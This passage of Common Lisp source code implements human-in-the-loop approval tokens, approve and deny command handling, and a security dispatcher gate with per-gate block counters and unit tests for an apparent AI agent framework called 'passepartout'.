(let* ((token (format nil "HITL-~a" (subseq (remove #\- (princ-to-string (uuid:make-v4-uuid))) 0 8))))
|
|
(setf (gethash token *hitl-pending*) blocked-action)
|
|
(log-message "HITL: Created pending approval ~a" token)
|
|
(list :token token
|
|
:message (format nil "HITL: Action requires approval [~a]. Reply /approve ~a to approve." token token))))
|
|
|
|
(defun hitl-approve (token)
|
|
"Approves a pending HITL action by token. Re-injects with :approved t.
|
|
Returns T if found and approved, nil if token is invalid."
|
|
(let ((action (gethash token *hitl-pending*)))
|
|
(if action
|
|
(progn
|
|
(remhash token *hitl-pending*)
|
|
(setf (getf action :approved) t)
|
|
(stimulus-inject (list :type :EVENT
|
|
:payload (list :sensor :approval-required
|
|
:action action
|
|
:approved t)
|
|
:meta (list :source :system)))
|
|
(log-message "HITL: Approved ~a — re-injected" token)
|
|
t)
|
|
(progn
|
|
(log-message "HITL: Token ~a not found in pending" token)
|
|
nil))))
|
|
|
|
(defun hitl-deny (token)
|
|
"Denies a pending HITL action by token. Removes it from the pending store.
|
|
Returns T if found, nil if token is invalid."
|
|
(if (gethash token *hitl-pending*)
|
|
(progn
|
|
(remhash token *hitl-pending*)
|
|
(log-message "HITL: Denied ~a" token)
|
|
t)
|
|
(progn
|
|
(log-message "HITL: Token ~a not found in pending" token)
|
|
nil)))
|
|
|
|
(defun hitl-handle-message (text &optional source)
|
|
"Checks if TEXT is a HITL approval or denial command.
|
|
If it matches, processes the command and returns T.
|
|
Otherwise returns nil (text should be handled as normal input).
|
|
Recognized formats:
|
|
/approve HITL-abc123
|
|
/deny HITL-abc123
|
|
approve HITL-abc123
|
|
deny HITL-abc123"
|
|
(let ((text (string-trim '(#\Space) (or text ""))))
|
|
(when (or (uiop:string-prefix-p (string-downcase "/approve") (string-downcase text))
|
|
(uiop:string-prefix-p (string-downcase "approve") (string-downcase text)))
|
|
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
|
|
(token (when (> (length parts) 1) (second parts))))
|
|
(when (and token (hitl-approve token))
|
|
(log-message "HITL: Approved via ~a — ~a" (or source :unknown) token)
|
|
(return-from hitl-handle-message t))))
|
|
(when (or (uiop:string-prefix-p (string-downcase "/deny") (string-downcase text))
|
|
(uiop:string-prefix-p (string-downcase "deny") (string-downcase text)))
|
|
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
|
|
(token (when (> (length parts) 1) (second parts))))
|
|
(when (and token (hitl-deny token))
|
|
(log-message "HITL: Denied via ~a — ~a" (or source :unknown) token)
|
|
(return-from hitl-handle-message t))))
|
|
nil))
|
|
|
|
(defun dispatcher-gate (action context)
|
|
"Main deterministic gate for the Security Dispatcher skill."
|
|
(let* ((payload (getf context :payload))
|
|
(sensor (getf payload :sensor)))
|
|
(case sensor
|
|
(:approval-required
|
|
(dispatcher-flight-plan-create (getf payload :action)))
|
|
(:heartbeat
|
|
(dispatcher-approvals-process)
|
|
(if action (dispatcher-check action context) action))
|
|
(otherwise
|
|
(if action (dispatcher-check action context) action)))))
|
|
|
|
(defskill :passepartout-security-dispatcher
|
|
:priority 150
|
|
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
|
:deterministic #'dispatcher-gate)
|
|
|
|
(defvar *dispatcher-block-counts* (make-hash-table :test 'equal)
|
|
"Per-gate block count: maps gate keyword → integer.")
|
|
|
|
(defun dispatcher-block-record (gate-name)
|
|
"Records a block decision for GATE-NAME. Returns the updated count."
|
|
(let ((count (1+ (gethash gate-name *dispatcher-block-counts* 0))))
|
|
(setf (gethash gate-name *dispatcher-block-counts*) count)
|
|
count))
|
|
|
|
(defun dispatcher-block-counts-summary ()
|
|
"Returns plist (:total <N> :by-gate ((<gate> . <count>) ...))."
|
|
(let* ((by-gate
|
|
(loop for k being the hash-keys of *dispatcher-block-counts*
|
|
for v = (gethash k *dispatcher-block-counts*)
|
|
collect (cons k v)))
|
|
(total (reduce #'+ (mapcar #'cdr by-gate) :initial-value 0))
|
|
(sorted (sort (copy-list by-gate) #'> :key #'cdr)))
|
|
(list :total total :by-gate sorted)))
|
|
|
|
(in-package :passepartout-security-dispatcher-tests)
|
|
|
|
(test test-block-record-increments
|
|
"Contract 10: dispatcher-block-record increments per-gate count."
|
|
(clrhash passepartout::*dispatcher-block-counts*)
|
|
(is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
|
|
(is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
|
|
(is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
|
|
|
|
(test test-block-counts-summary
|
|
"Contract 11: dispatcher-block-counts-summary returns total and by-gate."
|
|
(clrhash passepartout::*dispatcher-block-counts*)
|
|
(passepartout::dispatcher-block-record :shell-safety)
|
|
(passepartout::dispatcher-block-record :shell-safety)
|
|
(passepartout::dispatcher-block-record :secret-path)
|
|
(let ((s (passepartout::dispatcher-block-counts-summary)))
|
|
(is (= 3 (getf s :total)))
|
|
(let ((by-gate (getf s :by-gate)))
|
|
(is (= 2 (cdr (assoc :shell-safety by-gate))))
|
|
(is (= 1 (cdr (assoc :secret-path by-gate)))))))
|
|
|
|
(test test-block-counts-empty
|
|
"Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
|
|
(clrhash passepartout::*dispatcher-block-counts*)
|
|
(let ((s (passepartout::dispatcher-block-counts-summary)))
|
|
(is (= 0 (getf s :total)))
|
|
(is (null (getf s :by-gate)))))
|